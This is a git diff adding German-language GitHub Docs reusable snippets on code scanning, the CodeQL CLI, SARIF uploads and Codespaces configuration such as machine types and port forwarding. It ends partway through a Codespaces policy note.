diff --git a/translations/de-DE/data/reusables/code-scanning/get-started-uploading-third-party-data.md b/translations/de-DE/data/reusables/code-scanning/get-started-uploading-third-party-data.md
new file mode 100644
index 0000000000..89d6196f5e
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/get-started-uploading-third-party-data.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9f523fd93ba6f29b367a59f9435de6751c3d17ef
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145104352"
+---
+Weitere Informationen zum Einstieg findest du unter [Hochladen einer SARIF-Datei auf {% data variables.product.prodname_dotcom %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/uploading-a-sarif-file-to-github).
diff --git a/translations/de-DE/data/reusables/code-scanning/github-issues-integration.md b/translations/de-DE/data/reusables/code-scanning/github-issues-integration.md
new file mode 100644
index 0000000000..c907eacef0
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/github-issues-integration.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 4f096cb9a15e45244eeb7ed163fe4632e2fd4c07
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103216"
+---
+{% data variables.product.prodname_code_scanning_capc %}-Warnungen werden in Aufgabenlisten in {% data variables.product.prodname_github_issues %} integriert, damit du Warnungen ganz einfach in deiner gesamten Entwicklungsarbeit priorisieren und nachverfolgen kannst. Weitere Informationen zu Issues findest du unter [Informationen zu Issues](/issues/tracking-your-work-with-issues/about-issues).
+
+Um eine Codescanwarnung in einem Issue nachzuverfolgen, füge die URL für die Warnung als Aufgabenlistenelement im Issue hinzu. Weitere Informationen zu Aufgabenlisten findest du unter [Informationen zu Aufgabenlisten](/issues/tracking-your-work-with-issues/about-task-lists).
diff --git a/translations/de-DE/data/reusables/code-scanning/interoperable-with-tools-that-output-sarif.md b/translations/de-DE/data/reusables/code-scanning/interoperable-with-tools-that-output-sarif.md
new file mode 100644
index 0000000000..ceb550902f
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/interoperable-with-tools-that-output-sarif.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0c7d2f192932d1c453a7e8ce960ceed081c27fa3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104351"
+---
+{% data variables.product.prodname_code_scanning_capc %} ist mit Code-Scan-Werkzeugen von Drittanbietern interoperabel, welche SARIF-Daten (Static Analysis Results Interchange Format) ausgeben. SARIF ist ein Open-Source-Standard. Weitere Informationen findest du unter [SARIF-Ausgabe für {% data variables.product.prodname_code_scanning %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/sarif-support-for-code-scanning).
diff --git a/translations/de-DE/data/reusables/code-scanning/licensing-note.md b/translations/de-DE/data/reusables/code-scanning/licensing-note.md
new file mode 100644
index 0000000000..a8fc2dd640
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/licensing-note.md
@@ -0,0 +1,20 @@
+---
+ms.openlocfilehash: e7c2f46c3d9012c419d1523079af53479512a0e4
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147682668"
+---
+{% note %}
+
+**Hinweise:** {% ifversion fpt %}
+- Die {% data variables.product.prodname_codeql_cli %} kann in öffentlichen Repositorys kostenlos eingesetzt werden. Die {% data variables.product.prodname_codeql_cli %} ist auch in privaten Repositorys verfügbar, die Organisationen gehören, die {% data variables.product.prodname_ghe_cloud %} nutzen und eine Lizenz für {% data variables.product.prodname_GH_advanced_security %} haben. Weitere Informationen findest du unter [{% data variables.product.product_name %} {% data variables.product.prodname_codeql %}-Geschäftsbedingungen](https://securitylab.github.com/tools/codeql/license) und [{% data variables.product.prodname_codeql %}-CLI](https://codeql.github.com/docs/codeql-cli/).
+{%- elsif ghec %}
+- Die {% data variables.product.prodname_codeql_cli %} kann in öffentlichen Repositorys, die auf {% data variables.product.prodname_dotcom_the_website %} verwaltet werden, kostenlos verwendet werden und steht in privaten Repositorys, die Kunden mit einer Lizenz für {% data variables.product.prodname_advanced_security %} gehören, zur Verfügung. Weitere Informationen findest du unter [{% data variables.product.product_name %} {% data variables.product.prodname_codeql %}-Geschäftsbedingungen](https://securitylab.github.com/tools/codeql/license) und [{% data variables.product.prodname_codeql %}-CLI](https://codeql.github.com/docs/codeql-cli/).
+{%- elsif ghes or ghae %}
+- Die {% data variables.product.prodname_codeql_cli %} ist für Kunden mit einer Lizenz für {% data variables.product.prodname_advanced_security %} verfügbar.
+{% endif %}
+- {% data reusables.code-scanning.non-glibc-linux-support %}
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/code-scanning/non-glibc-linux-support.md b/translations/de-DE/data/reusables/code-scanning/non-glibc-linux-support.md
new file mode 100644
index 0000000000..54dc62d03c
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/non-glibc-linux-support.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2c492c061232518888ac11c439ee5917fe032eeb
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109225"
+---
+Die {% data variables.product.prodname_codeql_cli %} ist derzeit nicht mit Nicht-Glibc-Linux-Distributionen wie (musl-basiertem) Alpine Linux kompatibel.
diff --git a/translations/de-DE/data/reusables/code-scanning/not-available.md b/translations/de-DE/data/reusables/code-scanning/not-available.md
new file mode 100644
index 0000000000..621a056668
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/not-available.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 2b622645df3dc9dad695407c65dc1bce08817029
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145104347"
+---
+{% ifversion fpt or ghec %} {% note %}
+
+**Hinweis:** Für private und interne Repositorys ist {% data variables.product.prodname_code_scanning %} verfügbar, wenn {% data variables.product.prodname_GH_advanced_security %}-Features für das Repository aktiviert sind. Falls der Fehler `Advanced Security must be enabled for this repository to use code scanning` angezeigt wird, vergewissere dich, dass {% data variables.product.prodname_GH_advanced_security %} aktiviert ist. Weitere Informationen findest du unter [Verwalten von Sicherheits- und Analyseeinstellungen für dein Repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository).
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/code-scanning/run-additional-queries.md b/translations/de-DE/data/reusables/code-scanning/run-additional-queries.md
new file mode 100644
index 0000000000..31d35ea6d9
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/run-additional-queries.md
@@ -0,0 +1,30 @@
+---
+ms.openlocfilehash: b4da828ed2825e0f6aa8ced7a0f6b90067e9bfdb
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147717645"
+---
+Wenn du {% data variables.product.prodname_codeql %} zum Überprüfen von Code verwendest, generiert die {% data variables.product.prodname_codeql %}-Analyse-Engine eine Datenbank anhand des Codes und führt Abfragen darin aus. Die {% data variables.product.prodname_codeql %}-Analyse verwendet einen standardmäßigen Abfragesatz, aber du kannst zusätzlich zu den Standardabfragen weitere auszuführende Abfragen angeben.
+
+{% ifversion code-scanning-exclude-queries-from-analysis %} {% tip %}
+
+Du kannst außerdem die Abfragen angeben, die du von der Analyse ausschließen oder in die Analyse einbeziehen möchtest. Dies erfordert die Verwendung einer benutzerdefinierten Konfigurationsdatei. Weitere Informationen findest du unter [Verwenden einer benutzerdefinierten Konfigurationsdatei](#using-a-custom-configuration-file) und [Ausschließen bestimmter Abfragen aus der Analyse](#excluding-specific-queries-from-analysis) weiter unten.
+
+{% endtip %} {% endif %}
+
+{% ifversion codeql-packs %} Du kannst zusätzliche Abfragen ausführen, wenn sie Teil eines {% data variables.product.prodname_codeql %}-Pakets (Beta) sind, das in der {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %} oder einem {% data variables.product.prodname_ql %}Paket veröffentlich wurde, das in einem Repository gespeichert ist. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_code_scanning %} mit {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql-queries).
+
+Hier findest du die verfügbaren Optionen zum Angeben der zusätzlichen Abfragen, die du ausführen möchtest:
+
+- `packs`, um ein oder mehrere {% data variables.product.prodname_codeql %}-Abfragepakete (Beta) zu installieren und die Standardabfragesammlung oder Abfragen für diese Pakete auszuführen.
+- `queries`, um eine einzelne _.ql_-Datei, ein Verzeichnis mit mehreren _.ql_-Dateien, eine _.qls_-Definitionsdatei für eine Abfragesammlung oder eine beliebige Kombination anzugeben. Weitere Informationen zur Definition von Abfragesammlungen findest du unter [Erstellen von {% data variables.product.prodname_codeql %}-Abfragesammlungen](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/).
+
+Du kannst sowohl `packs` als auch `queries` in demselben Workflow verwenden.
+{% else %} Alle zusätzlichen Abfragen, die du ausführen möchtest, müssen zu einem {% data variables.product.prodname_ql %}-Paket in einem Repository gehören. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_code_scanning %} mit {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql-queries).
+
+Du kannst eine einzelne _QL_-Datei, ein Verzeichnis mit mehreren _QL_-Dateien, eine _QLS_-Definitionsdatei für eine Abfragesammlung oder eine beliebige Kombination angeben. Weitere Informationen zur Definition von Abfragesammlungen findest du unter [Erstellen von {% data variables.product.prodname_codeql %}-Abfragesammlungen](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/).
+{% endif %}
+
+{% ifversion fpt or ghec %}Es wird nicht empfohlen, direkt aus dem Repository `github/codeql` auf Abfragesammlungen wie z. B. `github/codeql/cpp/ql/src@main` zu verweisen. Solche Abfragen müssten neu kompiliert werden und sind möglicherweise nicht mit der Version von {% data variables.product.prodname_codeql %} kompatibel, die derzeit auf {% data variables.product.prodname_actions %} aktiv ist, was zu Fehlern bei der Analyse führen kann.{% endif %}
diff --git a/translations/de-DE/data/reusables/code-scanning/specify-language-to-analyze.md b/translations/de-DE/data/reusables/code-scanning/specify-language-to-analyze.md
new file mode 100644
index 0000000000..f93b651146
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/specify-language-to-analyze.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9802ef046824c424dd2301bf483acff8794d90b8
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104344"
+---
+Wenn Ihr Repository Code in mehreren der unterstützten Sprachen enthält, können Sie auswählen, welche Sprachen Sie analysieren möchten. Es gibt mehrere Gründe, warum Sie verhindern möchten, dass eine Sprache analysiert wird. Das Projekt kann z. B. Abhängigkeiten in einer anderen Sprache als der Haupttextkörper des Codes aufweisen, und Sie möchten möglicherweise keine Warnungen für diese Abhängigkeiten anzeigen.
diff --git a/translations/de-DE/data/reusables/code-scanning/summary-metrics.md b/translations/de-DE/data/reusables/code-scanning/summary-metrics.md
new file mode 100644
index 0000000000..d055741267
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/summary-metrics.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 71d8900674b431882bceed86473a910e37468a33
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879581"
+---
+Zusammenfassungsmetriken enthalten Folgendes:
+
+- Codezeilen in der Codebase (als Baseline) vor Erstellung und Extrahierung der {% data variables.product.prodname_codeql %}-Datenbank
+- Codezeilen in der {% data variables.product.prodname_codeql %}-Datenbank, die aus dem Code extrahiert wurden, einschließlich externer Bibliotheken und automatisch generierter Dateien
+- Codezeilen in der {% data variables.product.prodname_codeql %}-Datenbank ohne automatisch generierte Dateien und externe Bibliotheken
diff --git a/translations/de-DE/data/reusables/code-scanning/upload-sarif-alert-limit.md b/translations/de-DE/data/reusables/code-scanning/upload-sarif-alert-limit.md
new file mode 100644
index 0000000000..00ca7be846
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/upload-sarif-alert-limit.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 0b7740ddd22bccfe9899f98ac44af4d4b94b4ed4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145104343"
+---
+{% note %}
+
+**Hinweise:** 
+- Der SARIF-Upload unterstützt maximal 5.000 Ergebnisse pro Upload. Alle Ergebnisse, die diesen Grenzwert überschreiten, werden ignoriert. Wenn ein Tool zu viele Ergebnisse generiert, solltest du die Konfiguration aktualisieren, um sich auf die Ergebnisse für die wichtigsten Regeln oder Abfragen zu konzentrieren.
+
+ - Für jeden Upload unterstützt der SARIF-Upload eine maximale Größe von 10 MB für die mit `gzip` komprimierte SARIF-Datei. Uploads, die diesen Grenzwert überschreiten, werden abgelehnt. Wenn deine SARIF-Datei zu groß ist, weil sie zu viele Ergebnisse enthält, solltest du die Konfiguration aktualisieren, um sich auf die Ergebnisse für die wichtigsten Regeln oder Abfragen zu konzentrieren.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/code-scanning/upload-sarif-ghas.md b/translations/de-DE/data/reusables/code-scanning/upload-sarif-ghas.md
new file mode 100644
index 0000000000..7a7def9cb0
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/upload-sarif-ghas.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 7433a9496c6c1c2f57ce4167425a9665a4973ddc
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103204"
+---
+{% note %}
+
+**Hinweis:** Das Hochladen von SARIF-Daten zur Anzeige von {% data variables.product.prodname_code_scanning %}-Ergebnissen in {% data variables.product.product_name %} wird für organisationseigene Repositorys mit aktivierter {% data variables.product.prodname_GH_advanced_security %}{% ifversion fpt or ghec %} und öffentliche Repositorys unter {% data variables.product.prodname_dotcom_the_website %}{% endif %} unterstützt. Weitere Informationen findest du unter [Verwalten von Sicherheits- und Analyseeinstellungen für dein Repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository).
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/code-scanning/what-is-codeql-cli.md b/translations/de-DE/data/reusables/code-scanning/what-is-codeql-cli.md
new file mode 100644
index 0000000000..2d4e1c65b1
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/what-is-codeql-cli.md
@@ -0,0 +1 @@
+The {% data variables.product.prodname_codeql_cli %} is a standalone product that you can use to analyze code. Its main purpose is to generate a database representation of a codebase, a {% data variables.product.prodname_codeql %} database. Once the database is ready, you can query it interactively, or run a suite of queries to generate a set of results in SARIF format and upload the results to {% data variables.location.product_location %}.
diff --git a/translations/de-DE/data/reusables/code-scanning/you-can-upload-third-party-analysis.md b/translations/de-DE/data/reusables/code-scanning/you-can-upload-third-party-analysis.md
new file mode 100644
index 0000000000..ca45b29208
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/you-can-upload-third-party-analysis.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ce1f60306213120e12280368c050205659eac2d6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103203"
+---
+Du kannst SARIF-Dateien von statischen Analysewerkzeugen von Drittanbietern in {% data variables.product.prodname_dotcom %} hochladen und {% data variables.product.prodname_code_scanning %}-Warnungen von diesen Werkzeugen in Deinem Repository sehen.
diff --git a/translations/de-DE/data/reusables/codespaces/about-changing-default-editor.md b/translations/de-DE/data/reusables/codespaces/about-changing-default-editor.md
new file mode 100644
index 0000000000..5d405a9897
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/about-changing-default-editor.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ba91a4555a2ae0e8ec359aee8c466e201525647c
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109222"
+---
+Du kannst deinen Standard-Editor für {% data variables.product.prodname_codespaces %} auf der Seite mit deinen persönlichen Einstellungen festlegen.
diff --git a/translations/de-DE/data/reusables/codespaces/about-changing-storage-size.md b/translations/de-DE/data/reusables/codespaces/about-changing-storage-size.md
new file mode 100644
index 0000000000..bdd3070a93
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/about-changing-storage-size.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 742d132ec833dbdb0319bc8bbeb313d463c89f75
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109217"
+---
+Wenn du zu einer VM mit einer anderen Speicherkapazität gewechselt hast (beispielsweise von 64 GB auf 32 GB), steht der Codespace für kurze Zeit nicht zur Verfügung, während der Computertyp geändert wird. Wenn der Codespace gerade aktiv ist, wird er automatisch beendet. Sobald die Änderung durchgeführt wurde, kannst du den Codespace auf dem neuen Computertyp neu starten.
+
+Wenn du zu einer VM mit der gleichen Speicherkapazität gewechselt hast, wird die Änderung beim nächsten Neustart des Codespaces übernommen. Ein aktiver Codespace wird nicht automatisch beendet. Weitere Informationen zum Neustart eines Codespaces findest du unter [Beenden und Starten eines Codespaces](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace#restarting-a-codespace).
diff --git a/translations/de-DE/data/reusables/codespaces/about-configuration.md b/translations/de-DE/data/reusables/codespaces/about-configuration.md
new file mode 100644
index 0000000000..b17b222817
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/about-configuration.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 84f665549ab61f3f81c424824ccae28296194612
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103195"
+---
+Du kannst eine Standard-Codespace-Konfiguration für Dein Repository erstellen, welche die Umgebung jedes neuen Codespace bestimmt, den jemand für dieses Repository erstellt. Die Konfiguration definiert einen Entwicklungscontainer, der Frameworks, Tools, Erweiterungen und Portweiterleitung enthalten kann. 
diff --git a/translations/de-DE/data/reusables/codespaces/about-port-forwarding.md b/translations/de-DE/data/reusables/codespaces/about-port-forwarding.md
new file mode 100644
index 0000000000..002f75df8c
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/about-port-forwarding.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2c74c59266f62794c024978df095aec42ef3a2e2
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103183"
+---
+Du kannst Ports in deinem Codespace weiterleiten, um deine Anwendung zu testen und zu debuggen. Du kannst auch das Portprotokoll verwalten und den Port innerhalb deiner Organisation oder öffentlich freigeben.
diff --git a/translations/de-DE/data/reusables/codespaces/accessing-prebuild-configuration.md b/translations/de-DE/data/reusables/codespaces/accessing-prebuild-configuration.md
new file mode 100644
index 0000000000..92d2ae630c
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/accessing-prebuild-configuration.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: e18c37f7f93e2125d7280bd5b24a6eebea77d935
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106941"
+---
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %}
+1. Klicke im Abschnitt „Code und Automatisierung“ der Randleiste auf **{% octicon "codespaces" aria-label="The Codespaces icon" %} {% data variables.product.prodname_codespaces %}** .
diff --git a/translations/de-DE/data/reusables/codespaces/changing-machine-type-in-vscode.md b/translations/de-DE/data/reusables/codespaces/changing-machine-type-in-vscode.md
new file mode 100644
index 0000000000..02ec0fc5df
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/changing-machine-type-in-vscode.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: a149594ba37c62129b5ccc6bcc4f8d2addbcd008
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109214"
+---
+1. Öffne in {% data variables.product.prodname_vscode_shortname %} über <kbd>BEFEHL</kbd>+<kbd>UMSCHALT</kbd>+<kbd>P</kbd> (Mac) oder <kbd>STRG</kbd>+<kbd>UMSCHALT</kbd>+<kbd>P</kbd> (Windows/Linux) die Befehlspalette.
+1. Suche nach „Computer ändern“, und wähle „Codespaces: Computertyp ändern“ aus.
+
+   ![Suche nach einem Branch zum Erstellen eines neuen {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-type-option.png)
+1. Wenn du diese Anweisungen nicht in einem Codespace ausführst, klicke auf den Codespace, den du ändern möchtest.
+
+   ![Suche nach einem Branch zum Erstellen eines neuen {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-choose-repo.png)
+
+   Wenn du diese Anweisungen in einem Codespace ausführst, gilt die Änderung für den Codespace, in dem du gerade arbeitest.
+1. Klicke auf den gewünschten Computertyp.
+1. Wenn du zu einem Computertyp mit einer anderen Speicherkapazität wechselst, wirst du gefragt, ob du fortfahren möchtest. Lies die Eingabeaufforderung, und klicke auf **Ja**, um den Vorgang zu bestätigen.
diff --git a/translations/de-DE/data/reusables/codespaces/click-remote-explorer-icon-vscode.md b/translations/de-DE/data/reusables/codespaces/click-remote-explorer-icon-vscode.md
new file mode 100644
index 0000000000..77220c3cf6
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/click-remote-explorer-icon-vscode.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: a0a609a6e7a1cab14059012a15b6a08be53d8cbd
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109209"
+---
+1. Klicke auf der linken Seitenleiste von {% data variables.product.prodname_vscode_shortname %} auf das Symbol „Remote-Explorer“.
+
+   ![Das Remote-Explorer-Symbol in {% data variables.product.prodname_vscode %}](/assets/images/help/codespaces/click-remote-explorer-icon-vscode.png)
+
+{% indented_data_reference reusables.codespaces.remote-explorer spaces=3 %}
diff --git a/translations/de-DE/data/reusables/codespaces/codespace-config-order.md b/translations/de-DE/data/reusables/codespaces/codespace-config-order.md
new file mode 100644
index 0000000000..f809876f0b
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/codespace-config-order.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6cd2a0bba09fbd4f8c98ec1a362e288ed0af77b3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103176"
+---
+Ihre `dotfiles`-Personalisierung wird vor der Standardcodespacekonfiguration eines Repositorys angewendet.
diff --git a/translations/de-DE/data/reusables/codespaces/codespaces-are-per-branch.md b/translations/de-DE/data/reusables/codespaces/codespaces-are-per-branch.md
new file mode 100644
index 0000000000..88fc2fabb7
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/codespaces-are-per-branch.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 59b689491c712ae1fcd343b8ad83064beb103648
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103172"
+---
+Jeder Codespace ist einem bestimmten Branch eines Repositorys zugeordnet.
diff --git a/translations/de-DE/data/reusables/codespaces/codespaces-are-personal.md b/translations/de-DE/data/reusables/codespaces/codespaces-are-personal.md
new file mode 100644
index 0000000000..8544a46545
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/codespaces-are-personal.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e8fc89ab80b08e82d0b13d271344cbd3a1ca6bb9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145104308"
+---
+Jeder von Dir erstellte Codespace steht nur Dir zur Verfügung. Niemand sonst kann in Deinem Codespace arbeiten.
diff --git a/translations/de-DE/data/reusables/codespaces/codespaces-disabling-org-billing.md b/translations/de-DE/data/reusables/codespaces/codespaces-disabling-org-billing.md
new file mode 100644
index 0000000000..d5e6b42576
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/codespaces-disabling-org-billing.md
@@ -0,0 +1,5 @@
+{% note %}
+
+**Note**:  If you disable billing for {% data variables.product.prodname_github_codespaces %} for some organization members and collaborators, or for your entire organization, anyone who can either push changes to, or fork, a repository in your organization, will still be able to create a codespace for that repository by using their personal account. However, this will not incur any charge for your organization. For information about restricting access to a repository, see "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)."
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/codespaces/codespaces-machine-type-availability.md b/translations/de-DE/data/reusables/codespaces/codespaces-machine-type-availability.md
new file mode 100644
index 0000000000..f3aaeca15a
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/codespaces-machine-type-availability.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bde9df5c980a7448c30645675dc13086c1094fdc
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882883"
+---
+Die Auswahl der verfügbaren Computertypen kann durch eine für deine Organisation konfigurierte Richtlinie oder durch eine Mindestspezifikation für Computertypen für dein Repository eingeschränkt werden. Weitere Informationen findest du unter [Einschränken des Zugriffs auf Computertypen](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types) und unter [Festlegen einer Mindestspezifikation für Codespacecomputer](/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines).
diff --git a/translations/de-DE/data/reusables/codespaces/codespaces-machine-types.md b/translations/de-DE/data/reusables/codespaces/codespaces-machine-types.md
new file mode 100644
index 0000000000..3b4ac12840
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/codespaces-machine-types.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 2a61633813730ae2a55d43d2d2cf976fda95784f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147111111"
+---
+Normalerweise kannst du deinen Codespace auf einem beliebigen Remotecomputer mit 2 bis 32 Kernen ausführen. Jeder davon hat eine andere Ressourcen- und Abrechnungsebene. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces).
+
+Bei der Erstellung eines Codespaces wird standardmäßig der Computertyp mit den wenigsten zulässigen Ressourcen verwendet. 
diff --git a/translations/de-DE/data/reusables/codespaces/codespaces-org-policies-note.md b/translations/de-DE/data/reusables/codespaces/codespaces-org-policies-note.md
new file mode 100644
index 0000000000..e8d5fa969e
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/codespaces-org-policies-note.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 4b3ff1d54b2c84ce0cf5fcc4c4d58a6071dd0e91
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106925"
+---
+{% note %}
+
